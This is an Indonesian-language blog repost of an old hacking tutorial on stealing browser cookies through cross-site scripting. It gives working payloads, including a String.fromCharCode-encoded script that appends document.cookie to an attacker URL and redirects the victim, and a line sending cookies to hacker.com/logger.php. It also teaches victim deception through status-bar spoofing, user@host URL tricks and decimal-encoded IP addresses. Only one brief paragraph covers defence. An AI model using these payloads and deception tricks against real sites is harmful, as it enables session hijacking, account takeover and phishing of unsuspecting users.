Jasakom - Melanjutkan artikel sebelumnya, kali ini kita akan melihat
sisi lain dari cookie yang sangat berbahaya ketika cookie bisa dicuri.
Catatan: Untuk
melakukan hal ini Anda membutuhkan sedikit dari pengetahuan javascript tingkat
lanjut, dan beberapa script sisi server seperti perl/php/asp.
Pencurian cookies dapat menjadi masalah serius bagi banyak situs. Seluruhnya tergantung pada bagaimana suatu situs mengeset
keamanannya. Jika suatu situs hanya menggunakan
cookies untuk mengidentifikasi user, maka tentu saja sangat rentan. Jika anda membutuhkan login kemudian seringkali tanpa kecuali
mencoba dan mencuri cookies. Dengan catatan, tentunya username dan password yang tersimpan dalam
cookie dan tidak terenkripsi. Terkadang anda bahkan
dapat mengakses tanpa login. Kita
akan mengambil contoh pada betapa rentannya situs
http://neworder.box.sk saat kita mencuri beberapa tutorial LI, meskipun mereka
tidak rentan akan hal ini karena anda harus login ke situsnya dan password user
tidak ada dalam cookie. (silakan dilihat jika mereka
mencuri suatu tutorial yang menjelaskan bagaimana mengeksploit sebuah hole
dalam dari script mereka. Bagaimana kita akan mengeksploitasi
bug ini adalah sederhana saja kok. Tinggal ketik ini pada browser
http://neworder.box.sk/box.php3?prj=neworder&newonly=1&gfx=neworder&txt=what's+new
Apa sich kelemahan script ini? Tidak
meloloskan karakter terinput yang dicetak ke halaman. Saya
katakan pada anda tentang meloloskan karakter adalah penting. Script tersebut malah
membiarkan sebuah tag sederhana
untuk menghentikan javascript.Jadi hal pertama yang harus kita lakukan adalah menguji dan melihat bagaimana berbagai karakter (jika saja) tidak diloloskan untuk kita gunakan. Setelah memeriksa berbagai karakter berikut ini: ' " ; | < > / dan % kita menemukan bahwa mereka dapat meloloskan karakter ' dan ". Jika tidak, kita akan mengeksploit script php-nya dan memiliki kendali penuh atas situs. Saya akan memberikan sedikit trik yang dalam satu detik dimana kita mampu mendaptkan javascript untuk mencetak ' dan ". Namun untuk saat ini kita harus menghentikan tag
. Jadi kita akhiri
dengan tag
kemudian memasukkan berbagai jagascript yang kita
kehendaki.
Pada
paragraf pertama, telah saya katakan bahwa javascript sangatlah aman, karena
tidak dapat dibaca-tulis file apapun pada hard drive user selain cookies.
Disinilah kita akan memanfaatkan javascript untuk
membaca cookie user NewOrder dan kemudian menggunakan javascript untuk
mengirimkan ke mereka suatu cgi script dimana kita me-log cookie mereka ke
sebuah file teks. Setelah ini kita memeriksa log dari script cgi dan menyimpan
cookie yang tetap terpelihara oleh browser. Atau, kita bisa
mendapatkan username dan password dari cookie dan login ke situs NewOrder
(NewOrder tidak menyimpan password user ke dalam cookie).
Jadi
sekarang untuk mencetak javascript yang akan mencuri cookie
tersebut. Apa yang harus kita lakukan adalah
menggunakan script yang mencetak karakter yang tidak luput ke halaman yang
seolah-olah javascript yang sebenarnya pada situs tersebut. Jadi
kita dapat melihat dan mengedit cookie user. Terdapat
dua masalah utama yang harus ktia atasi. Pertama kita ingin mencetak
suatu string tana menggunakan ' dan " sewaktu
script php situs neworder meloloskan karakter tersebut. Bagaimana
kita melakukan hal ini adalah dengan menggunakan javascript yang tidak
membutuhkan ' atau " dan mencetak berbagai karakternya. Berikut ini
adalah satu cara untuk melakukannya.
Kita membutuhkan %2B sebagai ganti +, karena + menjadi sebuah spasi
saat anda jadikan script. Mungkin
ada cara yang lebih mudah melakukan hal ini selain menggunakan fromCharCode, entahlah =). 0x0068
adalah ascii untuk h.
74 untuk t.. (Anda dapat menggunakan grafik
ascii dari situs http://www.elfqrin.com/docs/hakref/ascii_table.html
):
68=h 74=t
74=t 70=p 3A=: 2F=/ 2F=/ 73=s 69=i 74=t 65=e 2E=. 63=c 6F=o 6D=m 2F=/ 61=a 2E=.
63=c 67=g 69=i 3F=? Dengan kata lain buatlah var u ke
string http://site.com/a.cgi?
Baiklah, jadi kita telah mendapatkan suatu string dalam sebuah
variabel tanpa menggunakan ' atau ". var u = 'http://site.com/a.cgi?'; akan menjadi sama hanya
jika script tidak terfilter pada ' dan ". Sekarang setelah mendapatkan
string apa selanjutnya yang akan kita lakukan? hmm.. apa yang kita coba lakukan
adalah mendapatkan cookie dalam sebuah string dan kemudian mengirimnya ke
script cgi yang me-log apa yang ada dalam cookie. document.cookie
adalah cookie untuk situs tersebut. Jika terdapat lebih dari
satu cookie, maka anda harus menggunakan sedikit trik berikut ini. Cobalah halaman ini untuk belajar bagaimana menangani banyak
cookie. Sekarang kita ingin menambahkan cookie ke akhir url tersebut, jadi:
u %2B= document.cookie;
Ouw! variabel u kita sekarang berupa http://site.com/a.cgi?user_s_cookie
(namun user_s_cookie adalah nilai aktual dari cookie mereka). Jadi sekarang
kita membuat javascript yang mengarahkan user ke url.document.location.replace(u);
Hal ini akan mengirim mereka ke var u kita, dimana a.cqi akan
berubah menjadi suatu script cgi yang hanya me-log apapun yagn di input ke
suatu database. Teknik lain untuk me-log cookie mereka adalah dengan menaruh sesuatu seperti ini:
/(document.cookie)">
Tapi sewaktu filter script ' dan " akan menjadi sebuah url panjang untuk
menaruh fromCharCode pada setiap karakter... pula, anda harus memiliki akses
untuk me-log situs tersebut dengan tujuan memeriksa apakah file-file yang
diminta dari direktori 'somedir'.
Seluruh
teknik pencurian cookie membutuhkan beberapa jenis script di situs anda untuk
me-log cookie sewaktu dikirim sebagai sebuah url.
Sekali anda memiliki cookie user terdapat dua hal yang perlu
diperhatikan. Adakalanya situs yang menaruh
username dan passwordnya di dalam cookie. Dalam kasus
ini anda hanya me-log ke situs dengan hal tersebut. Beberapa situs lain hanya menggunakan cookie sederhana untuk keperluan
otentikasi user. Tanpa meminta login.
Sebagai
contoh www.geocities.com, jika anda mendapatkan sebuah 404 error, akan tercetak pada url seperti ini:
now if you have a cookie of a geocities member you can
go to www.geocities.com and you will automatically be logged in. From there you have full control over their
account.
Namun geocities melakukan beberapa hal untuk menghentikan ini. Mereka
mengarahkan websitenya ke http://geocities.yahoo.com ..
jadi cookie user adalah sebuah cookie yahoo yang
sebenarnya ;( Jika anda mencoba trik yang sama dimana
anda mendapatkan file 404 pada yahoo yang tidak akan mencetak karakter < dan
>. Namun jika anda menemukan suatu script pada yahoo yang
tercetak < dan > anda dapat dengan mudah melakukan hal ini. Dan terdapat script pada yahoo yang rentan terhadap Cross Site
Scripting, beberapa kasus telah dilaporkan ke milis buqtraq dan sayalah yang
menemukan salah satunya.
Jadi
bagaimana anda akan mendapatkan user yang mengunjungi
url ini? cobalah sesuatu seperti ...
sumber untuk
link pemain di www.redlite.com ini:
notice the:
onMouseOver="window.status='http://www.redlite.com/signup2.php?boobs-and-guy';return
true"
and
onMouseOut="window.status='';return
true"
Pada akhirnya ... ini untuk menipu user agar berpikir bahwa ada link
utama disuatu tempat lainnya. Sekali
lagi, menggunakan javascript untuk memanipulasi apa
yang user lihat untuk mengelabuinya.
Script
lainnya pada mesin edge yang rentan terhadap cross site scripting adalah
board.php, berikut ini contoh eksploitasinya
http://www.site.com/board.php?search=
var u =
String.fromCharCode(0x0068);u
%2B= String.fromCharCode(0x0074);u %2B=
String.fromCharCode(0x0074);u
%2B= String.fromCharCode(0x0070);u %2B=
String.fromCharCode(0x003A);u
%2B= String.fromCharCode(0x002F);u %2B=
String.fromCharCode(0x002F);u
%2B= String.fromCharCode(0x0062);u %2B=
String.fromCharCode(0x0030);u
%2B= String.fromCharCode(0x0067);u %2B=
String.fromCharCode(0x002E);u
%2B= String.fromCharCode(0x006F);u %2B=
String.fromCharCode(0x0072);u
%2B= String.fromCharCode(0x0067);u %2B=
String.fromCharCode(0x002F);u
%2B= String.fromCharCode(0x0061);u %2B=
String.fromCharCode(0x002E);u
%2B= String.fromCharCode(0x0070);u %2B=
String.fromCharCode(0x0068);u
%2B= String.fromCharCode(0x0070);u %2B=
String.fromCharCode(0x003F);u
%2B=
document.cookie;document.location.replace(u); &did=edge0
Jadi bagaimana seorang coder menghentikan rentannya serangan ini? Saya katakan jangan pernah mencetak data yang diinput user kembali
ke user. juga filter keluar <, >, dan
lindugi semua url dengan encoding sebelum memfilter input. Saya sudah menemukan
suatu cara untuk mencuri cookie dalam ikonboard lama
menggunakan profile.cgi, meskipun tidak terlalu besar jumlahnya sewaktu terjadi
celah keamanan yang serius pada ikonboard. Hal ini dikarenakan teknik
pemrograman yang buruk yaitu mencetak input yang tidak difilterisasi. Sekarang ikonboard sudah tidak menggunakan profile.cgi, tidak
mencetak dapat yang diinput ke layar dan memfilter data. Biasanya script
webmail sangat rentan terhadap cross site scripting.. dan adalah benar sebuah kerentanan terjadi pada script
alais-mail nya tim solution script yang saya temukan setahun lalu.
Beberapa
masalah lain dengan javascript dan pencurian cookie:
http://www.peacefire.org/security/hmattach/
- Sebuah
eksploitasi terhadap Hotmail. Saat
hotmail tidak memfilter javascript dan diperbolehkannya lampiran .html untuk
ditampilkan tanpa di download.
http://www.securityspace.com/exploit/exploit_1b.html
http://www.peacefire.org/security/iecookies/
- Pembukaan cookie jar, pembuka remote cookie. Menggunakan
%2F dimaksudkan untuk / membuat IE menganggap bahwa itu adalah suatu situs.
http://homepages.paradise.net.nz/~glineham/cookiemonster.html
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms01-055.asp
- Script aktif sebenarnya, bukannya javascript.
Kemudian
terdapat artikel mengenai :// dan membaca isi file
mengenai rentannya IE, yang baru dilaporkan ke milis buqtraq.. Saya
merencanakan untuk mendiskusikan secara lebih detil saat mengupdate tutorial
ini.
Banyak orang mengatakan kepada saya, "Tapi tak seorang pun
menunjukkan gelagat akan meng-klik link yang terdapat javascript untuk mencuri
cookie" ini memang benar. Saat url sederhana seperti
http://site.com/vulnscript.cgi?
document.location.replace('http://hacker.com/logger.php?'
+ document.cookie);
Itulah
mengapa kita ingin mengelabui mereka agar menganggap url
tidaklah berbahaya. Berikut ini satu cara:
Teknik
mengaburkan url:
Satu cara mengelabui user untuk meng-klik link yang mereka pikir
terhubung ke tempat lain adalah menggunakan trik onmouseover, membuat url
terlihat seolah-olah terhubung ke suatu tempat lain. Tentu saja anda tidak
dapat menggunakan ini saat menggunakan protokol yang tidak mendukung html atau
yang dilengkapi blok javascript dan onmouseover. Jadi maksud dari http://site.com anda mempunyai localhost
http://127.0.0.1 mungkin tidak menolong banyak tentang bagaimana kita
menggunakan trik ini. Saat browser login ke direktori .htaccess, mereka
dapat saja menggunakan sintak berikut ini:
http://username:password@site.com
Anda lihat mengapa hal ini sangatlah penting. Tanpa
password anda dapat memiliki sesuatu seperti :
http://username@site.com
dan akan bekerja dengan baik. Dengan mencoba login ke
site.com melalui username = 'username' dan tanpa password. Sekarang apa yang terjadi bila disana tidak terdapat file .htaccess? maka tidak menjadi masalah apa yang username dan password
masukkan, kemudian me-load halaman secara normal. Jadi sesuatu seperti ini
dapat saja berupa:
http://microsoft.com/site/dir/helpdesk.asp@site.com
Anda lihat bagaimana hal ini biasa digunakan agar orang meng-klik link
dan berpikir keterangan lainnya disuatu tempat? bahkan jika dalam bentuk plain text sudah banyak orang
percaya bahwa link tersebut milik situs microsoft.com.
Ada banyak cara yang berbeda untuk "mengaburkan" url dari
user untuk menolong anda menipu mereka. Salah satu
diantaranya melibatkan peng-konversi an alamat ip ke persamaan decimal.
Saya tidak akan menutupi hal ini, namun terdapat
banyak tutorial lain di internet dimana anda dapat mempelajari hal ini. Saya sekedar membiarkan anda menggunakan script ini untuk secara
otomatis meng-konversi alamat ip ke nilai decimal.
IPa IPb IPc IPd =
Sekarang
gunakan ini yang dimaksudkan dari site.com dan anda akan
mendapatkan sesuatu seperti:
http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F
[menyisipkan teknik jahat javascript url ter-encode
disini]
Sekarang anda tidak melihat sesuatu seperti http://site.com/a.cgi? (ini teknik jahat asli javascript)
yang akan menjadi sangat aman untuk user mengatakan apa
yang harus dilakukan. Mari kita melampaui langkah pertama
sekali waktu, sekedar meyakinkan anda mendapatkannya. Pertama buatlah
berbagai nama situs (tidak mesti url yang valid)
http://aol.com/scripts/userid.jsp?
tambahkan karakter
@ ke bagian akhirnya sehingga menjadi:
http://aol.com/scripts/userid.jsp?@
maka alamat ip anda dari localhost dalam form decimal
adalah:
http://aol.com/scripts/userid.jsp?@3639550308
kemudian
selanjutnya dari path pada url yang ter-encoding adalah:
http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F
No comments:
Post a Comment